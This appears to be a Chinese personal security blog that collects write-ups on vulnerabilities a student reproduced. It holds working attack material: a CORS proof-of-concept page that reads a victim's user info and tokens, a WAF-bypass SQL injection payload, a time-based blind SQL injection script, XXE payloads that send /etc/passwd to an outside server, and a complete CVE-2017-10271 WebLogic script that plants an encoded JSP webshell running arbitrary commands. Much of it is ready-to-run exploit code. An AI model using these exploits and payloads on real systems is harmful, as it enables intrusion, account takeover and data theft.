一个有梦想的少年。

Mysql客户端文件读取漏洞

看了篇文章,利用到mysql客户端文件读取漏洞打进内网,觉得还是挺有意思的,所以复现一波

文章原文:https://xz.aliyun.com/t/6587

本地复现的时候使用的phpmyadmin,需要在配置文件进行配置才能连接远程服务端

Poc地址:https://github.com/allyshka/Rogue-MySql-Server

运行poc后,本地会启用一个伪mysql服务,端口开放在3306,读取的文件和端口可以自行修改


客户端这边创建了test.txt测试


利用本地的phpmyadmin进行连接,账号密码随意

可以成功读到test.txt文件

upupw探针进行测试

没成功

拓展:

这个漏洞不仅能读文件,还能ssrf,php伪协议。

SRC挖掘经验--cors劫持账户

新的一年 祝大家身体健康万事如意啦~  自己目标就是把2018留下的坑给填上 早日到达自己的高薪梦  努力努力!!!!!

工作中遇上了大佬  然后有了挖SRC的动力 想写下来记录一下

CORS 跨域资源共享,就是可以让不同网站和不同服务器直接通信。一篇CORS完整指南,总结的很详细,包括如何绕过等等

https://xz.aliyun.com/t/2745


某团的给的一个中危

挖洞过程无意中看到一个数据包,响应包中包含有Access-Control-Allow-Origin这个字段,然后就随手尝试看看有没有CORS漏洞!结果如图


再尝试 发现  如下图!

发现后面再加上域名是可以跨域获取资源的

如何利用?

利用方式就是泛解析,将http://m.****.com.rcoil.me解析到我们的IP上,由于比较穷买不起域名,就本地搭了个DNS设置了泛解析,如下图

只要是*.rcoil.me都会解析到我们的本地这


POC如下:

<!DOCTYPE html>

<html>

<body>

<center>

<h2>CORS POC Exploit</h2>

<h3>Extract SID</h3>

 

<div id="demo">

<button type="button" onclick="cors()">Exploit</button>

</div>

 

<script>

function cors() {

  var xhttp = new XMLHttpRequest();

  xhttp.onreadystatechange = function() {

    if (this.readyState == 4 && this.status == 200) {

      document.getElementById("demo").innerHTML = alert(this.responseText);

    }

  };

  xhttp.open("GET", "http://m.***.com/activity/juejiapi/editor/userinfo", true);

  xhttp.withCredentials = true;

  xhttp.send();

}

</script>

 

</body>

</html>

而拿到的TOKEN又能干嘛呢,如图

美滋滋

Metinfo 6.1.2 SQL注入

这个注入影响也是挺大的

可以看看FOFA搜索到的结果


这是i春秋Ashe大佬挖的据说前面也挖了几个  但是官方一直没有修复

原文https://bbs.ichunqiu.com/thread-46687-1-1.html

因为没有审计过单入口的cms 于是也想把过程记录下来在记录过程中找到自己不明白的地方再解决弥补自己不的不足

首先先从入口文件index.php开始了解这个cms的大致框架


如图调用的常量已经被定义好,找了一下可控的常量位置在/admin/index.php处

代码如下


4个参数可控

M_NAME=$_GET['n']

M_MODULE=$_GET['m']

M_CLASS=$_GET['c']

M_ACTION=$_GET['a']

接着跟着进到文件/app/system/entrance.php看看每个参数的作用

首先看 M_NAME,从seay代码审计的全文追踪功能可以看出,这个常量的大概功能是定义别的调用的文件路径

再看M_MODULE=$_GET['m']



英文翻译过来就是模块的意思,可以猜测是调用的模块

我们重点来看 $_GET['a'],$_GET['c']去哪了,在46-51行可以看到从客户端获取的参数传进来并赋值给新的变量和新的常量


在88-90行引用了文件/app/system/include/class/load.class.php,并且调用了load类里面的静态函数module(),跟进


函数将M_CLASS的值传给了$modulenameM_ACTION传给了$action,接着又调用_load_class()函数,继续跟进

看到224-248行


由代码可以看出 判断是否存在$modulename这个类名,再判断是否存在$action这个函数是否存在,接着再判断函数名前面是否包含有’do’,一层一层下来,我们就可以理清思路,我们可以通过提交m和n参数确定调用的文件,通过提交c参数来确定调用的类名,a参数则是任意带有do的函数

漏洞触发

漏洞触发文件是在/app/system/message/web/message.class.php

漏洞函数add()


37-51行,函数未使用引号闭合,导致存在SQL注入

但是在构造payload的时候发现关键字被过滤了,过滤函数在 Metinfo/app/system/include/class/common.class.php中  common类可以是 message的爷爷辈了,可以看到过滤函数 Load_form()在初始化函数中被调用


查看Load_form()



看到了使用daddslashes()函数过滤,看看daddslashes()函数


这里可以看到sqlinser()函数进行过滤,这不重要,有意思的是这里做了个判断,如果IN_ADMIN定义了,则仅使用addslashes()进行过滤,当我们使用/admin/index.php文件进行调用的时候,前面会定义好IN_ADMIN常量,我们就绕过了sqlinser()函数,

漏洞利用:


这里可以使用时间盲注也可以使用布尔型的注入,如果需要使用布尔型的id就必须为42或者44

因为在add()函数后面会判断查询结果是否存在,如果不存在则exit(),在i春秋上人家也放出exp了

效果:

看密码就修改admin_id字段就行了



EmpireCMS_V7.5代码执行漏洞

看了大佬的学习方法,自己很受启发,不是天才就需要努力,给自己定个小目标,每周看大佬3-4篇的审计思路复现并记录,每天都要有收获。

原文连接:https://bbs.ichunqiu.com/thread-46685-1-1.html

文中作者一共写了三个漏洞,两个代码执行一个任意文件写入getshell,第二个作者就没有写出详细的审计过程只是略过,我复现的过程中也是有点懵了遂把详细过程写出来。

漏洞功能点:后台-系统-备份与恢复数据-备份数据

利用过程


代码审计

首先看文件\e\admin\ebak\phome.php 在点击备份数据后,数据包的数据包里参数phome=DoEbak


所以直接关键字定位到70行



这里调用了Ebak_DoEbak()函数,函数位置在\em\e\admin\ebak\class\functions.php

175行-258行


这里我们都是对POST传入的参数进行赋值和类型转换,我们利用的tablename[]这个参数,所以我们主要看这个参数传去哪了,这里将传入的tablename[]这个数组传给了$tablename这个变量,再往下看210行开始


循环取出$tablename里的值,并经过简单的过滤拼接成字符串传给$b_table变量,而$b_table这个变量在233行又被传入了$string里面,并且被包含在带有php的标签中,再往下看


在249行调用了WriteFiletext_n()函数,该函数位置位于/e/class/connect.php 1973行,


函数很简单就是将传入的数据直接写入路径为$filepath的文件中,在上面那幅图中248行,看可以看到$cfile是如何拼接的,$add['mypath']在数据包中可看到也可控,$bakpath是一个全局的变量赋予在179行

至此我们就可以任意写入文件了导致代码执行了

写入之后config文件的效果

由于没有引号  所以这里会被当成函数来执行  如果将phpinfo()换为eval()  就可以拿到一个熟悉的shell了~



安全狗Bypass

环境 Lnmp

安全狗官方nginx免费版V2.4

看起来好像版本很低

Payload :'/*/*%/**/union/*/*%aaaaaa/**/allselect/*/*%aaaaaa/**/1,2,version()/*/*%aaaaaa/**/from users -- -


小坑

前面使用联合查询没构造错误条件的时候一直没爆出东西  然后就以为是安全狗拦截了  也是前面自己一直没想明白就走了弯路

正常情况下的联合查询

异常参数的查询


看到正常的查询他会返回两条结果,异常的只有一条,输出的时候他就会选择第一条数据而看不到我们查询的数据


钓鱼网站代码审计尝试

晚上才能静下心看得下代码… 这个cms是在I春秋拿的  看着大佬们的文章自己也想尝试  就下下来复现一波

原文

https://bbs.ichunqiu.com/thread-40651-1-1.html

https://bbs.ichunqiu.com/thread-40592-1-1.html


这是搭建的效果



后台

这里我用的是sublime_text 3编辑器

直接定位到问题文件/include/member.php


看到前面几行代码,就可以明显的发现问题了,这个$admin_user 并没有进行过滤直接传入SQL执行语句,很明显的注入,但是由于第一行代码进行了限制,我们不能直接访问该文件,所以我们就进行全局搜索寻找利用点


发现\include\common.php是调用了member.php这个文件,

发现这个文件是可以直接访问的,接下来可以直接构造payload了

前面问题文件member.php,先判断cookie里是否存在islogin参数,再判断cookie里是否存在admin_user,接着再将admin_user进行base64解码

所以尝试构造payload




可以看到我们构造的payload已经成功执行,

接着再写一个python脚本就可以直接跑出来了

现在太晚了加人懒  自己就懒得写了 - -

这里可以直接用人家写好的

https://bbs.ichunqiu.com/thread-40703-1-1.html

效果



SQL盲注-基于时间的python盲注脚本

学而不思则罔,死而不学则殆

在几次测试中,自己手工找出来的sql注入漏洞 sqlmap竟然没跑出来,这就很尴尬了,所以就自己练习也个盲注脚本,以后测试或者在绕过waf的时候都能用到。

import time

import requests



payloads = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_."

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"}

database = ""

url = "http://192.168.1.102/sqli-labs/Less-6/?id=1"

exp = '" and if(ascii(substr(database(),{0},1))={1},sleep(3),1) %23 '

for num in range(1,10):

    for i in payloads:

        url_ = url+exp.format(num,ord(i))

        start_time = time.time()

        r = requests.get(url_,headers=headers)

        if time.time()-start_time > 2.5 :

            database = database+i

            print database

        else:

            pass

测试效果:


在跑表和字段的时候就需要自己修改exp了

任意用户密码重置漏洞



人懒啊,报告又要写得多,只能靠挖挖逻辑漏洞来维持生活这样子,最近逻辑漏洞也比较火,哪里都有这些案例。这个是个内网地址就不打码了。

任意密码重置(一)

密码找回页面



当输入帐号和验证码之后,他会返回一个电话号码然后发送短信让我们进行验证,然后我们开启监听,获取返回包,并且将返回的电话号码改成我们的电话号码,再发送



修改了之后发送




这时候电话号码就变成了我们自己的电话号码,获取短信验证就能进行密码修改了

任意密码重置(二)

这个漏洞触发点跟上面那个也是同个系统,但是是不同的方式,直接绕过验证,进行密码修改。

首先,我们先输入帐号和验证码获取手机号码,进入到如下页面


可以看到密码找回的页面是有规律的,并且,系统没有对用户的访问权限进行控制,我们直接将forgetpwd3.jsp修改为forgetpwd4.jsp



直接进入到了设置新密码的界面,但是在这里帐号名和手机号是不可写的,这时候就到审查元素大神出场了,打开html源码


发现账户名和手机号都是readonly属性,这里直接双击这个属性,然后删除就可以直接进行编辑了。这里需要填上我们上一步获取的手机号


填上新密码提交

有人说blog要写人生感悟,可是我还是个未成年啊!哪里来的人生感悟。


XXE学习

其实也没有做太深入研究,就正好有环境,然后学习基础。不然面试又要问到懵逼了….



一个是有回显的,一个是没有回显的。

在有回显的情况下直接利用file协议进行文件读取



如果没有回显就用另外的方法测试。

无回显,引用远程服务器上的XML文件读取文件

Payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxe.com/1.xml">

%remote;]>

将以下1.xml保存到WEB服务器下1.xml

<!ENTITY % a SYSTEM "file:///etc/passwd"> 

<!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

其实这里就是创建一个外部实体remote,他的值就是引用远程WEB服务器下1.xml。远程的1.xml内容是创建一个a和一个b的实体,a的值是读取/etc/passwd的值,b是将a的值利用gopher协议传输到远程Web服务器。

无回显的还有另一种测试方法

在主机上放一个接收文件的php(get.php):

<?php

file_put_contents('01.txt', $_GET['xxe_local']);

?>

1.xml内容

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">

%int;

%trick;

这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。

接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上

其实在给客户测试这些没有回显的漏洞的时候,也可以通过DNSLOG来验证漏洞是否存在。

还有别的危害就是能直接执行命令,探测内网等等,执行命令需要目标环境安装expect扩展,在参考文章里有写。

参考文章

http://www.freebuf.com/column/156863.html

http://uknowsec.cn/posts/notes/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html


CVE-2017-10271 windows Getshell脚本

好久没有写python,然后准备要用python来做课设,现在就想认真学习python。正好在Tools看到大神发的exp,就想用Python练习一波。

# coding = utf-8

import requests

import sys


def exp(url):

    header = {

        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

        'Cookie': 'JSESSIONID=nczyhG8NwQ8ypTPHBCBlDwBk26XQD2vSpC4m9hqTvn4Jgy0nrCMJ!1975769378',

        'Connection': 'close',

        'Upgrade-Insecure-Requests': '1',

        'Content-Type': 'text/xml',

        'Content-Length': '2579'}

    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java>

<java version="1.4.0" class="java.beans.XMLDecoder">

<object class="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>

<void method="println"><string>&#60;&#37;&#10;&#32;&#32;&#32;&#32;&#105;&#102;&#40;&#34;&#112;&#97;&#115;&#115;&#119;&#64;&#114;&#100;&#34;&#46;&#101;&#113;&#117;&#97;&#108;&#115;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#112;&#119;&#100;&#34;&#41;&#41;&#41;&#10;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#32;&#105;&#110;&#61;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#103;&#101;&#116;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#40;&#41;&#46;&#101;&#120;&#101;&#99;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#105;&#34;&#41;&#41;&#46;&#103;&#101;&#116;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#40;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#105;&#110;&#116;&#32;&#97;&#32;&#61;&#32;&#45;&#49;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#98;&#121;&#116;&#101;&#91;&#93;&#32;&#98;&#32;&#61;&#32;&#110;&#101;&#119;&#32;&#98;&#121;&#116;&#101;&#91;&#50;&#48;&#52;&#56;&#93;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#119;&#104;&#105;&#108;&#101;&#40;&#40;&#97;&#61;&#105;&#110;&#46;&#114;&#101;&#97;&#100;&#40;&#98;&#41;&#41;&#33;&#61;&#45;&#49;&#41;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#108;&#110;&#40;&#110;&#101;&#119;&#32;&#83;&#116;&#114;&#105;&#110;&#103;&#40;&#98;&#41;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#47;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#37;&#62;</string></void><void method="close"/>

</object>

</java>

</java>

</work:WorkContext>

</soapenv:Header><soapenv:Body/></soapenv:Envelope>'''

    r = requests.post(url=url+"/wls-wsat/CoordinatorPortType",data=payload,headers=header)

    rr = requests.get(url=url+"/wls-wsat/test.jsp")

    if rr.status_code == 200:

        print "CVE-2017-10271 is Valuble"

        print "shell:%s/wls-wsat/test.jsp"%url

        print "Post:pwd=passw@rd&i=Command"

    else:

        print "Getshell failure!"



if __name__ == '__main__':

    try:

        url = sys.argv[1]

    except:

        print "Usage: wls_Getshell.py http://test/"

        exit()

    exp(url)





© Goodboy|Powered by LOFTER